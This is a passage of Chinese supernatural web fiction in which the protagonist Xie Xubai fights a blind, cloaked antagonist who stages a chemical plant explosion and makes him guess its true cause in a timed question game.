“你太自以为是了谢叙白!你凭什么以为没有你我就会爱上那千千万人?你到底当我是什么人?!又狂妄地以为你是我的什么人?!” 那低沉嘶哑的嗓音,从眷恋到怨恨,也就不到半秒而已,声声尖利宛若泣血,其间蕴含的崩溃不知道前后哪一刻更多一点。 “你死不掉的,你别想这么轻轻松松抛下一切去死!无论付出什么代价,我会把你复活,让你知道什么是后悔!” “谢叙白!谢叙白——!!” …… 一道阴影停靠在谢叙白的床前,脖子在半空拉出一个不可思议的弧度,像抻开的皮筋,缓缓凑近谢叙白的脸颊。 房间内弥漫着一股阴恻恻的白雾,像是无形的墙,隔绝外界。 一片死寂中,只能听到谢叙白急促不宁的呼吸。 瘦长阴影呼出一股阴森湿冷的气息,几乎贴到青年如玉瓷白的皮肤。 谢叙白狭长的睫毛抖颤着,被噩梦缠身,愈发不稳,却没有睁眼。 这是下手的好时机。 阴影蠢蠢欲动地伸出尖锐利爪,直至发现某个细节,猝然一僵,往后飞快倒退。 可它晚了一步。 数道金光犹如利箭齐发,贯穿阴影的两边肩胛骨和手肘,在不致命的前提下,将它钉死在墙上,生生砸出一个凹洞! 阴影发出惨叫。 突然,它像是被人陡然控制住身体,惨叫戛然而止,声音变得古怪机械,冲着谢叙白扯出一个怪异诡谲的狞笑:“小看你了。” 床上的谢叙白不紧不慢地睁开眼。 通红的眼睛湿意尚在,却一片清明。 他分明早就清醒了过来。 谢叙白坐直身,睁眼,闭眼,眼中最后一点湿意也被抹得干干净净,锐利的视线扫向黑影。 “你来自哪一方势力?玩家、诡异还是系统?” 瘦长鬼影刚要开口,被谢叙白不由分说地打断:“显出你的真身,我没有和传声筒说话的习惯。” 说着,捆在鬼影身上的光索齐齐收束。 鬼影被勒得抽搐不止。 它似乎不是单纯的傀儡,拥有自我意识,感受到生命危险,不管不顾地尖叫出声:“你杀了我,什么线索都得不到,这不符合你的作风!” “难道你不好奇自己为什么会梦到那些过往吗?你不想知道过去发生了什么事吗?” 谢叙白停顿半秒,淡淡抬眸。 “刚才我观察了一会儿,你没有立刻动手,要么有所忌惮,要么有利想图。这就代表,在没有达到目的之前,你只会接连不休地找上门。” “不怕你不来。” 谢叙白气定神闲地挑了下嘴角,浅淡的笑容犹带着一分不容抗衡的气势:“但我只给你这一次机会,来进行一场相较友好的洽谈。” “你这次不以真容示人,以后,我也不会给你显露真身的机会。” 说罢,金光在他掌心凝结,散发着汹涌澎湃的杀意。 诡异沉默,它看得出来谢叙白没有说笑,眼中惊惧不已。 直至谢叙白给出时限的最后一秒,它忽然瞳孔瞪大,痛苦地痉挛,并伴随尖锐的嘶吼。 繁复的纹路从鬼影头顶一路蔓延至脚底,血肉如同蜡烛般融化,又顺着某种不可抗力的力量,胡乱糅合成团。 眨眼之间,它变成了一大团不断蠕动的肉泥。 这仿佛像是某种残忍的惩罚,惩罚黑影刚才自作主张的质问。 在一阵令人头皮发麻的血肉骨骼摩擦声后,肉泥唰一下展开,变成一面平平无奇的透明玻璃幕墙,横贯在谢叙白的眼前。 玻璃幕墙的后面,坐着一名斗篷人,身旁没有别的装饰物,空白一片。 谢叙白与他面对着面,视线齐高,对上一双布满白翳且涣散无光的眼眸。 鬼影的死状极其残忍,谢叙白不由得对这人心生警惕,同时心想,这人的眼睛是不是看不见? “谢叙白。”那人看起来对他熟稔至极,被威胁也没有半点气恼,甚至可以称得上亲切地询问,“你喜欢玩游戏吗?” “可以是动作、冒险、射击、益智、解谜、角色扮演,可以是电脑或真人线下。” “随口一提,我最喜欢的是下棋。” 斗篷人伸出手,在半空随意拨动,像是在闲散地摆弄无形的棋子:“以人命为筹码,以世界做赌局。” ta撩起眼皮:“以万物为棋。” 第165章 斗篷人 这段问话没头没尾,还有一种叫人贻笑大方的狂妄。 要知道,如今各种恐怖凶残的诡异横行霸道,更有神秘未知实力莫测的神明在世,独揽一方强权。 但凡有人敢高高在上地自诩以万物众生为棋,将整个世界视为玩物,那怕是嫌命长。 但……谢叙白有股怪异的感觉。 他凝视眼前的斗篷人。 对方穿着一件普通的黑色斗篷,底下是浅色衬衣。两根老旧的红绳从脖颈一路蔓延至衣襟下面,似乎戴着玉坠护身符之类的装饰物。 斗篷人的声线不是原音,像许多个不同年龄、不同性别的人齐声开口,凝结成一团沙哑浑浊的混响,分不出雌雄老少。 斗篷人的脸上没有遮挡物,能清楚地看见ta自然勾翘的嘴唇,微微上挑的眉毛,但就是无法具体识别出ta的长相。 这人应该采用了某种干扰认知的手段。 因为眼瞎的缘故,平添一股无害可怜的气质,让人心生怜惜。 不对! 当爱怜心疼的念头划过脑海的一瞬间,谢叙白猛地掐住手指,心中拉响刺耳的警报。 一个能毫不犹豫把手下捏成肉泥的人,怎么可能人畜无害? 可那股想要爱护对方的念头不但没有消散,反而愈发鲜明,像剧毒荆棘长出狰狞的根系,用力地扎入谢叙白的意识海! 精神污染! 没有半点犹豫,谢叙白催动精神力,如出鞘后寒芒乍放的利刃,将侵入的诡异力量霎时间抹除得一干二净。 那是多次副本磨砺出来的本能,前后花费不到半秒时间。 见谢叙白反应迅速地化解危机,斗篷人不误遗憾地笑了笑:“可惜。” “本以为能更轻松地拿下你。” ta懒懒散散地站起身。 刚才谢叙白拿“再也不会给机会洽谈”逼ta现身,ta出现了,分明是在意。 可在这一番莫名其妙的试探过后,ta一句话没多说,整面玻璃幕墙连着身影逐渐淡化。 “等一等!” 意识到ta要撤离,谢叙白眉头蹙紧,金光在半空中凝聚成无数枚光锥,锋利的尖端蓄势待发。 “好歹来者是客,还没来得及招待阁下,就要这么离开吗?” 斗篷人似有所觉地回头,看着精神力暴涨的谢叙白,忽地浅笑一声:“看来你并不喜欢这种点到即止的打招呼方式。” 他凝着白翳的眼珠子,缓缓地眯起一个狭长愉悦的弧度,像陡然撕开无害的假面,尾音被慢条斯理的语气拖曳得缱绻绵长。 “我也一样——” 那声音浑似越过透明的玻璃幕墙,带着危险粘稠的寒意,亲昵地贴近谢叙白的耳畔,述说无尽温柔。 谢叙白瞬间激起一身鸡皮疙瘩,反射性挥手,光锥疾风骤雨般飞射出去! 大半的光锥被屏障抵挡,少数几枚破开限制,直袭斗篷人的门面。 斗篷人大笑一声,身形以肉眼可见的速度变淡。 噗呲几声,几枚光锥透过ta的幻影,钉在椅子和地面上,尾端震晃。 ta的声音隔着遥远的空间传来:“那在游戏正式开场前,我们先好好地玩上一场!” 随着这一声大笑落地,玻璃幕墙漾出诡异的波动。 原本透明无物的墙面,猛然燃起炙热冲天的火光! 火势汹涌扑面,谢叙白以为是拦截自己的手段,反手用精神力去挡。 可没多久,他发现那道火焰并没有烧进卧室,只是映在玻璃墙上的影像。 影像……? 谢叙白油然生出一股不妙的预感,仔细观察影像中的细节。 当捕捉到一系列熟悉的街道布景,他刹那间寒毛直竖,心脏好像空了一拍! 为防止这面斗篷人遗留下来的玻璃墙出状况,谢叙白使用精神力,将玻璃幕墙严丝合缝地围住,同时冲出窗外,大叫一声。 “平安!” 昨天晚上谢叙白看起来很疲倦,小家伙们为了不打扰他的休息,强忍住黏上去一起睡的冲动,乖乖地跑回自己的窝里。 唯有平安习惯性地趴在青年的房门口,警戒可能出现的危险。 听到谢叙白的急声呼唤,大白狗平安唰一下睁开眼睛,想也没想地撞开卧室门,一眼看见从窗口往下跳的谢叙白。 多日的默契,让平安以最快的速度冲过去,身体在这个过程中几经膨胀变大,稳稳地将谢叙白接在身下。 身后楼房灯光齐开,照亮黑夜。 大家都被突如其来的动静惊醒了,火急火燎地冲进谢叙白的卧室。 看见窗口外谢叙白即将远去的背影,谢凯乐冲过去扒拉窗沿:“老师——你要去哪儿?出了什么事?” “这是什么?”岑向财在玻璃幕墙前停下,这面墙散发的力量波动让他有股很不好的感觉。 再看墙上的影像,火势连绵不休,栩栩如生。 岑向财脑子转得快,很快反应过来发生了什么,暗骂一声,火急火燎地看向窗外:“别顾着跑,给个地址!” 顺手将要跟着一起跳出去的谢凯乐拽住。 谢叙白来不及多解释,好在岑向财应急经验丰富,他快口丢下一句:“前康永区位于西边近郊的那家化工厂!” 什么?化工厂? 岑向财脑子里几乎刻着全市地图,闪过那家化工厂庞大的规模。 易燃性化工原料、填装有害物质的压力容器及其反应物的连锁轰爆,都会在顷刻间形成破坏力极强的冲击波!并释放大量有毒浓烟! “我马上去找消防队——” 谢叙白速度太快,身影越来越远,小得几乎要看不见了。 岑向财将阻拦的话吞进喉咙里,大吼:“你注意安全!!” —— 平安全速奔跑,带着谢叙白在最短的时间赶到火灾现场。 远远便能看见一道橘红色的火焰冲天而起,残忍地割开昏暗夜色。 大火将化工厂的某个工作区域团团包围,无情地朝着四周的建筑群蔓延,滚滚浓烟铺天盖地,混杂着刺鼻的毒烟,空气被急剧上升的高温灼烫到扭曲变形。 安全出口的位置,上夜班或住在化工厂宿舍的人群惊慌失措,蜂拥逃窜。 在工作区域的内部最深处,尚能听见更多无助凄厉的求救声。 一道黑影悬在苍白的月色下,身披黑色斗篷,白翳眼瞳平静无波,无动于衷地观望着下面的人间惨剧。 忽然,金芒似利箭破空而来,裹挟着寒风刺向斗篷人的脑袋。 不管斗篷人出于什么目的,对无辜民众下手这件事,真真切切地触碰到了谢叙白的逆鳞。 斗篷人侧身闪过攻击,不仅没有生气,还笑出了声:“你终于来了。” 下一刻,ta感到身后凉意猛增。 唰—— 那几道没能击中的金光,竟在半空中以不可思议的角度折返,再次冲着ta的要害袭来! 斗篷人猝不及防,抬手去挡,只能勉强抓住。 炙热的光辉在掌心切开一条深可见骨的口子,逆着光飞出一泼鲜红的血。 “……” 空气安静一瞬。 斗篷人感受着掌心的剧痛,盯着止不住的血,说不上是意外还是不高兴,眼睛再次沉郁地、缓缓地眯起。 他抬眼,朝谢叙白吐出一个字:“你——” 谢叙白跳下平安的后背,绷紧的脸皮在月色映衬下冷若冰霜。 毒烟弥漫,他不确定会不会对平安造成危害,拍拍狗子脑袋,示意它原地等候,随后冲向火势凶猛的化工厂。 从始至终,心心念念的只有那些受难者,没有朝恼怒的斗篷人丢去半分关注。 斗篷人:“……” 不。 斗篷人扫了一眼龇牙咧嘴的平安。 也不算完全不管不顾,至少留下了一条狗监视自己。 ……进入化工厂,记住通道地形,突破重重门禁找到被困者,再冒着高温和无法预料什么时候会发生的爆炸,带人快速撤离。 要完成这一些系列救援动作所花费的时间太多,稍微耽搁一会儿就可能丧失一条人命。 谢叙白当机立断,全面展开精神力,将识念散发出去,通过反馈来的精神力波动,确定被困者的位置。 同一时间金光倾泻而下,犹如飞流千尺的金色瀑布,切向化工厂的金属外壳。 谢叙白的想法很果断。 只要避开□□,在穹顶直接掏出个大洞,就能将受害者一次性全部带出来。 可他没想到,金光竟会直接穿透化工厂,没有一丁点触碰到东西的实感! 不仅是这样,刚才百米开外,谢叙白还能嗅到呛人焦臭的燃烧物异味,现在靠得这么近,几乎和火燎到眼皮,却什么都闻不到。 无法触碰逃离现场的人们,无法感受到火焰灼烫的温度。 仿佛他的存在被突然排斥出当前区域,两个空间互不接触,化工厂对他来说就只是一个看上去非常逼真的3D投影。 谢叙白扭头怒声:“你做了什么?” 斗篷人在谢叙白身后徐徐落地,手掌一拢合,将袭击ta的金光啪地捏碎:“游戏开场之前,不听完规则就擅自行动怎么行?” 谢叙白的眼神一寸寸变冷。 见谢叙白终于将ta看在眼里,斗篷人愉悦得几乎要笑出声:“就是这个眼神。” ta抬起手指,诡异荒谬的一幕出现了,大火熊熊的化工厂居然猝然不动了! 就像被按下暂停键,火焰、人群、浓烟还有热浪中摇曳的树叶。 方圆上千米内,不管死物活物,一切的一切轰然定格。 平安是在场唯三能动的活物,绷着四肢,一点点地挪移到谢叙白的面前,独瞳腥红,冲斗篷人发出威胁凶狠的低吼。 斗篷人瞥它一眼,不见波澜地评价道:“坏狗。” 噗通!半空中好似有无形的威压砸在平安的身上,它的四肢垮塌下去,骨骼发出不堪重负的摩擦声。 可同时,谢叙白动了。 金光裹挟着拳风,再次袭向斗篷人的脑袋,比刚才蕴含更深层次的怒火。 他是手无缚鸡之力,但刻苦学来的战斗技巧都刻在骨子里。 斗篷人吃过教训,不得不再次偏头躲开金光。 可ta钳住谢叙白挥来的拳头,眼中也是不以为意。 似乎知道谢叙白体质羸弱,所以没将这轻飘飘的攻击看在眼里。 谁想到,谢叙白竟是以自身作饵,不顾手腕骨骼被捏得咔嚓作响,跨步绕到斗篷人的身后,反手用臂膀钳住ta的脖颈,刹那变成禁锢对方的枷锁。 “狂妄如你,有几分可能用真面目示人?”谢叙白在斗篷人的耳边冷笑询问。 “我赌八分。” 金光从谢叙白的皮肤表面渗出,律动,快速膨胀,看似缓慢却快到闪出残影,在触碰到斗篷人身体的瞬间暴涨炸开,像密密麻麻冲天丛生的尖刺,一举穿透对方的身体! 嘭! 在密密麻麻的力量穿刺下,斗篷人不堪重负地碎开,化作黑色灰烬,从谢叙白空荡荡的身前雪花般飘落。 不过几秒之后,ta再次出现在不远处,捂着胸口,鲜血从指缝淌落,惨白脸色冷峻得掉冰碴。 看得出来受了不小的损伤。 斗篷人手段诡异,谢叙白并不指望能一次击杀。 他半蹲下身,用精神力为平安解除束缚,不咸不淡地说道:“欺负手无寸铁的普通人和小动物,你也就这点本事了吗?” 小动物?斗篷人看着比楼房还大的诡犬平安,几乎要气笑。 平安脱困,呜咽着伸出舌头,小心翼翼地舔舐谢叙白的胸口。 力的作用是相互的,为了打斗篷人一个措手不及,谢叙白完全没收力。 那些光刺在伤到斗篷人的同时,也毫无保留地扎入了他的体内。 不过他控制得当,负伤较浅。 谢叙白的掌心从胸口掠过,轻轻巧巧地将光刺和伤势一同抹去。 “有点可惜。”谢叙白看着斗篷人,嘴角轻挑,“本以为能更轻松地拿下你。” 原话奉还。 斗篷人呼吸一滞,脸色黑沉得几乎要滴出水来。 ta几次暗中出招,试图掌控主动权,但从始至终,谢叙白就没准备顺着ta的节奏走。 哪怕自损八百,也要先咬下ta的一块肉。 宁为玉碎,不为瓦全。 看似温温和和的人类,竟刚烈自尊至此。 ta的脸色几经变化,眉头微微蹙紧,似恼,似奇。 比起被戏耍的愤怒,更透出一种无法言喻的困惑。 “我错了。”斗篷人一字一顿说,“你的气节和凶性一点也不比那位蛮横自傲的邪神少,也比祂更难缠。” 听ta提起宴朔,谢叙白一顿,扯眉看过去。 却见ta大手一挥,化工厂内的惨烈景象化作投影,出现在两人面前。 火海中,逃不掉的人们痛苦挣扎,疯狂拍打高温扭曲变形的门,被烧伤的手指在铁板上刮出斑驳血痕。 谢叙白还算淡然的脸色,这才微微变了。 “求我。”斗篷人恶意满满地冲着谢叙白,“只要你低声下气地求我放过他们,我就——” 还没说完,就听见谢叙白说:“求你放过他们。” 斗篷人:“?” 谢叙白以为不够诚恳,于是往前一步,又说了一遍:“求你放过他们。” 斗篷人:“???” ——你刚才的自尊呢?不屈呢?就这么堂而皇之地抛掉不要了? 如果谢叙白能听到ta的心声,约莫会淡淡地扯一下嘴角:又不是跪地求饶,张个嘴的事情,谈什么尊严。 或许也是出于一种微小的希望。 尽管知道可能性很小,但是,如果让他低头就能结束一场灾难,那该多赚啊。 可惜,谢叙白迄今以来就没遇到过那么便宜的事。 见斗篷人僵硬不动,一声不吭,他的心慢慢沉了下去。 求人没用。 谢叙白冷笑讥讽道:“怎么样,这种胜之不武的认服你听着开不开心?你要是觉得不够,一千遍,一万遍,我保证说到你信以为真。” 第166章 简单的问答游戏 谢叙白很少开口嘲讽别人,比起阴阳怪气,他更喜欢物理服人,从根源上干脆利落地解决问题。 但这并不代表他不会动嘴。 若是有人惹他不痛快,那张漂亮优美的薄唇上下一碰,也能一针见血,毒死人不偿命。 “……” 斗篷人的脸色变了又变,明显有被刺到。 奇怪的是,ta在无声凝视谢叙白几秒钟之后,竟然很快平复了情绪。 似乎在欣赏他能屈能伸的锋芒,ta歪着脑袋,喉咙里滚出一声轻笑:“伶牙俐齿。” 尽管很微弱,稍纵即逝,但某个微妙的瞬间,谢叙白确实从斗篷人语焉不详的笑声中,古怪地听出三分认同。 既对他有着强烈扭曲的恶意和杀念,又在发自内心地认同他。 ta到底是谁? 正这样想着,他看见斗篷人抬起手指。 一眨眼的功夫,被定格的化工厂恢复“行动”。 在正常人眼中,这是相当震撼的一幕。 ——加热上升的气流飞快回流,飘在月色下的浓密黑烟呼啸着倒灌回工厂。熊熊火势在没有任何干扰的情况下逐渐减小,被烧得焦黑的金属外壳一点点恢复锃亮银白的光泽。 不需要准备什么,没有任何滞涩。 现在的谢叙白尚且做不到自由出入时空长河,可控制一片区域的时间流速,对斗篷人来说却好像吃饭喝水那般轻松。 谢叙白的瞳孔微微凝缩。 他第一反应是这人刚才和他的战斗竟是藏拙,心里更多两分戒备。 第二反应是意外,意外这人真的轻易地放过了化工厂的人们。 到底是在使诈,还是……? 谢叙白拧眉。 到目前为止,斗篷人的身份仍旧是个谜。 能逆转时间的能力必将是神力,但神明哪会这么容易地被他伤到? 难道说ta是化工厂的诡王,所以能自由控制自己的领域?但ta又不会受到区域限制。 那就剩下最后一种可能。 系统。 即便不是系统本身,也应该隶属于系统势力的一员,所以有随意操控副本的权限。 世界异化与系统有关,诡异们被困在循环中不得解脱,人类陷落,也是系统的手笔。 毫无疑问,系统是他们最大的敌人,但和系统打过这么多次交道,系统从哪里来,目的是什么,又在策划什么阴谋,依旧不得解。 这数不清的疑惑,或许要等他恢复轮回的记忆,或者彻底打败系统,才能得到答案。 “你要是不能认认真真地参与游戏,等下一定会后悔。”发现谢叙白居然在走神,斗篷人的声音格外毛骨悚然。 谢叙白扭头,视线余光从ta的脸上飞快扫过。 他对这人没印象,又有种奇怪的感觉,难道说,他们在以前的轮回中认识? 没有表现出异常,谢叙白的视线落在正前方的投影上。 时间回溯,投影里的遇难者自然也发生了对应的变化。 火焰和毒烟从他们的身上散开,被烧伤的皮肤恢复如常。 几人从地上爬起来,脸上挂着惊惧的泪痕,掉落的泪水又缩回眼眶。 他们无知无觉地后退,抵达门口时,由于人多拥挤,好几个人互相疯狂地推攘在一起,发生口舌争执。 不知有意无意,遇难者被困在逃生通道里的那段影像,回退得格外缓慢。 大火来势汹汹,哪怕培训的时候做过安全演练,还是有很多人没能反应过来。 有人在火海中无措挣扎,毒烟熏入口腔,捂着嘴跌倒在地痛苦呛咳,朝奔涌的人群伸出手求救;有人想去救人,被扭曲的高温烫了一下手掌,瞬间改变主意,边哆嗦地说着对不起,边捂着手慌慌张张地离开; 有人意识到大难临头,为了抢先一步,得到逃命的机会,急躁拼命推挤他人。 甚至不惜直接动手,将堵在前面的同事往后拽到地上,自己趁机挤上去,流露出阴毒无情的嘴脸。 灾难时的众生百态,全部在这一刻的投影中被无限放大。 最后,所有人顺着敞开的大门,纷纷回到各自的工作区域。 夜班时间,不少人强撑起精神来上班,穿着简易的防护服,打着哈欠,眼下青黑,显得无精打采。 大厂竞争激烈,应聘实习的工人熙熙攘攘,可能上午刚来,下午就会提桶跑路。 看见认识的人,偶尔会有人打声招呼。 但大多数人都是头也不抬,漠然地移开视线,继续忙活自己的工作。 最近天气转凉,但大多数化工产品不耐热,中央空调的温度开得还是很低。 白雾呼呼地吹,吹得玻璃面罩结霜。 人情好似也被冷气冻结,在惨白的电子灯光照射下,一张张整齐排列的人脸,显得格外机械麻木。 “简单的问答游戏。”斗篷人兴味盎然地开口,“在你刚才看到的景象中,谁才是这次纵火案的真凶?” 纵火? 谢叙白深感意外。 居然不是这人为了找乐子放的火,而是工厂里面的人蓄意纵火? 他虽然没开口,但想说的话全写在了充满意外的眼神里。 斗篷人像是能听懂他的心声,发出一声冷冰冰的嗤笑:“这就是你的答案?” “先说好,你只有一次回答的机会,如果答案不能让我满意,刚才的火灾会照常发生。” “半秒后汽油罐爆炸,没来得及逃出去的人全部被卷入火海。毒烟在巨大的冲击中扩散至周边地带,顺着最近的下水道,污染水源,没钱搬家的居民会在两年内相继患上治疗价格高昂的肺病,患病人群中,以抵抗力低下的婴幼儿首当其冲。” 谢叙白:“……” 他撩起眼皮,沉静的眼眸中划过一抹清浅的微光。 谢叙白的情绪变化似乎总能极大程度地愉悦到斗篷人。 “我再问你一次。” ta的语调微妙上扬,言笑晏晏地问:“你是否确定我就是导致这场火灾发生的罪魁祸首?” 谢叙白没吭声。 半晌,他问:“如果我答对了你的问题,赢下这个所谓的问答游戏,能得到什么?” 斗篷人:“在灾难发生前揪出凶手,救下你心心念念的民众,难道还不够吗?” 谢叙白脸上波澜不惊。 但熟悉他的人都清楚,他若静悄悄,必定在头脑风暴。 要么绞尽脑汁地寻找漏洞bug钻空子,要么在蓄谋怎么掀翻游戏桌。 “……如果我今天晚上不来找你,这里就是玩家的下一个试炼场,火舌炼狱。” ta说:“所有的游戏都有必须遵守的规则,不要贪得无厌啊。” 后半句话缓缓出口,咬字清晰,满是警告。 谢叙白与ta对视,平静询问条件:“我能不能进去搜寻火灾的线索?” 斗篷人:“不能。” “只能站在这里?” “只能站在这里。” “能不能用精神力?” “每个待生成的副本都有系统施加的防干扰力量,你的精神力能够渗透多少,读到多少人的心声,全看你的本事。” 一段话信息量极大。 不知道为什么,总觉得这个游戏模式,巧妙得像是为他量身准备。 谢叙白眸光闪烁,追问:“系统打算生成的副本,却被你中途拦截,难道说你和系统是——” 敌对关系四个字尚未说出,就听到斗篷人冷冷道:“五分钟。五分钟给不出正确答案,视为放弃回答。” 不像被问得不耐烦,更像一种欲盖拟彰的打断。 谢叙白深深地看了斗篷人几眼,却见一个沙漏凭空出现,挡在两人的面前,隔绝他的视线。 沙子落下,每一秒都变得弥足珍贵。 谢叙白顾不上继续探究,收回视线,闭上眼睛,毫无保留地将识念发散出去,仔细聆听人们的心声。 无数个烦躁的、迟钝的、充满疲倦的抱怨传出。 【好累啊。】 【防护服好闷。】 【为了工资,再忍一天,为了工资,再忍一天……】 【这周继续倒班?还让不让人活了!】 【傻逼组长又跑过来瞎转悠,催催催,催你X的!又不是你的工厂!】 【昨晚上在网上海投一点消息都没有,我以后不会一直在这里干下去吧……】 不乏有人在心里叫嚣着要弄死谁,怨气滔天。 但那些带着尖锐报复心的念头,大多只是想一想而已。 就像砸入大海的小石子,很快就在纷纷杂杂的心念中销声匿迹。 谢叙白的神经紧绷到极致。 如果真的有人打算纵火,即使表面平静,出于紧张或是即将犯罪的暴虐,内心也会忍不住模拟出动手时的细节。 但他找遍大半个工厂,没有听到这样的心声。 时间一分一秒地过去。 细密的流沙在沙漏底部积成小堆,上面的沙子所剩无几。 谢叙白的精神体飘在车间上空,看着忙忙碌碌的人群,眉头拧紧成一团。 是他的能力不足,遗漏掉了关键的心声? 还是说斗篷人骗了他,根本没有所谓的真凶? 冷静。 别被影响。 不能急。 谢叙白果断将意识沉入大脑,用最快的速度搜刮记忆中的每一处细节。 火灾发生时,人们会朝着相反的方向逃跑。 观察神秘人前面给出的影像,那些受困者应该被困在了逃生通道。 逃生通道建设有要求,要宽泛,靠近装置附近或操作岗位,易于人群会合抵达,有应急照明设备。 由于化工厂的特殊性,工厂在建立之初,除去传统的逃生通道,应当还会设置其他的逃生手段,比如聚乙烯逃生管道,一般沿着厂区通道和空地进行弯曲铺设。 这家化工厂的规模不小,产品销向市内各大厂商,谢叙白前不久宣传法律的时候来过两次。 刚才急匆匆赶来,他在平安跳跃到高空的途中低头,视线从高往下瞥,将整个工厂的大概建筑轮廓映入眼底。 谢叙白脑子里骤然划过一道灵光,宛如惊天霹雳轰碎云遮雾绕的阴翳。 他知道火灾的起始地在什么位置了。 谢叙白立马将识念凝聚,着重去听那片区域工人们的心声。 【X的傻逼抠门老板不想请清洁工,凭什么让我来打扫?】 【困死了,想睡觉。】 【过几天又要应付安全检查,这么多老旧的设备全当看不见……破厂子早晚出事!算了我还是闭嘴吧,别给自己找麻烦,有机会一定要跑路。】 也是这时,一道惊疑不定的心声突然冒出,如雷贯耳。 【谁把吸收罐的进出口阀门关上了?】 憨厚青涩的年轻人这么想着,嘴里也怒不可遏地吼了出来:“会超压的啊!” 周围的人被吓一大跳,不明白前因后果,怪异地看向他,下一秒脸色骤变。 偌大的不锈钢吸收罐发出尖锐如汽笛的嗡嗡爆音,阀门被震得疯狂摇晃,铁皮以肉眼可见的速度烧红。 这种阵仗,在这里工作的人怎么可能意识不到将要发生什么事? 经验丰富的技术工当即冲上去,拉住操作杆想要紧急关停装置,但由于机器老化,下拉的时候出现故障,直接卡壳,耽误了零点几秒的关键时间! 其中一人站在楼梯机架上,匆忙地往下跑,结果过于急切,没注意从钢铁围栏上摔了下来,痛得大叫。 他手忙脚忙地爬起来,但吸收罐的爆鸣已经刺入耳内。来不及跑了,他一脸绝望。 电光火石间,他忽然想起什么,恍惚地嘟囔一句:“是组长……” 因为是组长,所以没人去质疑或检查对方操作上的正确性。 不远处闻声赶来的组长,听到爆鸣的动静,脸色唰地惨白,头也不回地往外跑。 轰——! 爆炸声震耳欲聋。 汹涌的火焰顷刻间吞没整个车间,将无数工人的惨叫淹没其中! 谢叙白猛然睁开双眼。 斗篷人的手指往下一点,将化工厂的时间再次定格。 针落可闻的死寂中,ta掌心托着只剩最后一点的沙漏,咧出一个怪异的、不知道在嘲讽着谁的微笑。 “看,多简单的问答游戏,是不是没骗你?” 第167章 游戏之家即将入驻全世…… 红阴古镇听取怨魂的心念,有诡王岑向财的私心庇护,有特殊的观众身份作保,远不如这次既要提防斗篷人的突然发难,又要破解系统设下的限制来得费劲。 只是谢叙白微微屏息的片刻,便把那些不轻松都压了下去,看不到半点端倪。 他掀了掀眼皮,不置可否地反问:“简单吗?” 斗篷人冲谢叙白无辜地弯起眼眸。 那双结出白翳的眼珠子并不浑浊,相反,它漂亮剔透得像是无暇的白玉。 在狭长的缝隙中骨碌一转,闪着恶意又旖旎迷人的微光。 ——如果真的很简单,ta又怎么会是这种期待幸灾乐祸的表情? 斗篷人点点沙漏,状似催促:“还不回答吗?你的时间可不多咯。” 无形的压迫力在两人对峙的视线之间蔓延,空气中仿佛迸溅出激烈的火花,气氛一秒变得剑拔弩张。 直到最后几粒沙子将要落下,谢叙白才开口,语不惊人死不休地说道:“真正的凶手,是不合理的规则。” “哦?”斗篷人有些意外,又似乎来了兴致,“怎么说?” “明面上这是一起由于内部人员操作失误引发的意外爆炸事故,但实际上,如果不是厂内存在职位欺压,漠视人权,工人们就不会想着独善其身,也不会在知道设备老化存在严重安全隐患的前提下,闷着脑袋默不作声。” 谢叙白的语速并不慢,连珠炮一样吐词清晰,却不会显得咄咄逼人。 “如果不是人情淡薄,被繁重的工作压榨得劳累不堪,工人们就会有额外的精力去注意周遭。” “如果上级能体恤手下,知人善任,工人们也不会本着多一事不如省一事的念头,连质疑组长操作的念头都没有。” “如果安全检查负责到位,老化破旧的设备能得到及时修缮维护,那么在意外即将发生之前,技术人员就有足够的时间拉下操控杆,及时关停设备,制止这场悲剧。” 宛若陈述一个事实,谢叙白将诸多细节串联在一起,将一系列不利因素造就的事故娓娓道来。 最后,他一锤定音。 “不合理的规则,是滋养罪恶诞生的温床,才是真正的凶手。” 谢叙白直视斗篷人的眼睛,像是要窥破ta内心深处的隐秘,掷地有声地总结:“这个答案——你满意吗?” 斗篷人良久没有吭声。 少顷,ta从鼻孔中哼出一声轻笑:“我还以为你会大义凛然地宣布,这只是一场意外。” 提起这个,谢叙白仍旧压制不住心里的沉痛,面上淡淡地说:“客观来讲,这就是一个意外。” 法律不止注重客观影响,还注重主观能动性。 犯下重大失误的车间组长,和尸位素餐的安全检查组,本意没想闹出人命,所以不能将他们堂而皇之地称之为凶手。 但他们的犯罪事实成立,严重失职又造成恶劣后果,毫无疑问是罪犯。 谢叙白已经打定主意要将这两类货色一起送进执法大队。 表面则不显山不露水,对斗篷人继续说道:“但这样的回答,想必不是你想听到的答案。” 事实重要吗?重要。 但从一开始,这场“简单”的问答游戏就有一个不能忽视的前提条件。 ——说出的答案必须要让对方“满意”。 斗篷人忽地笑了。 和刚才几次满含恶意的笑声不同,这一次的笑,干净又清冽。 就像吃冰淇淋盲盒无意挑中喜欢的口味,又或者在出游的当天遇上阳光明媚的天气。 就是这么一丁点的小确幸,便让人心满意足的会心一笑。 谢叙白看着ta,心中怪异的感觉愈发强烈,但受到认知干扰的影响,他说不出怪异的地方在哪儿。 下一秒,斗篷人蓦然收敛笑容,缓缓露出一个残忍的表情,抬起手指。 谢叙白心道不好。 可他来不及阻止,爆炸便在身后响起。 化工厂内传出惊天动地的震响,炙热滚烫的火光席卷半空,并伴随着浓郁弥漫的黑烟! 斗篷人原以为自己的出尔反尔,能让ta看见谢叙白的脸上出现惊诧、懊悔、愤怒、厌恶等一系列精彩纷呈的表情变化。 可谢叙白在短暂的吃惊愤怒后,仅仅沉了沉眼神,随后抬掌凝出耀眼的金光。 自从见识过罗浮屠的歹毒,谢叙白就再也不会寄希望于敌人的仁慈和信用,又怎么会不留后手? 他早已锁定爆炸发生的位置。 回答问题的五分钟时间,他所做的可不仅仅是思考,还不吭不响地将精神力全面渗透进了这片区域! 当火焰爆燃,璀璨的金光也随之大绽,犹如日照金山最叫人心惊动魄的一刹那,硬生生将烈火压制下去,漆黑阴森的夜幕瞬间被映得亮如白昼! 那一刻,斗篷人的神色再度变化。 古怪,惊讶,又带着一点难以言喻的另类的情绪。 谢叙白没顾得上理会ta,飞快用识念检索有无人员伤亡。 只是他也没想到,大火弥漫的厂房内,除去车间组长,竟是空无一人。 再用识念搜寻。 那些工人竟是在不知不觉中被传送到安全出口外,正迷茫地摸着脑袋。 可组长就没那么好运了。 火势暴涨,如龙卷风将他吞噬,他扑倒在地,痛苦地翻滚、嘶吼。眨眼时间,皮肤被烧灼到焦黑,浑身上下不成人形,空气中弥漫着油脂烤焦的臭味。 谢叙白冲上去帮忙灭火,用精神力帮他扫去火焰。 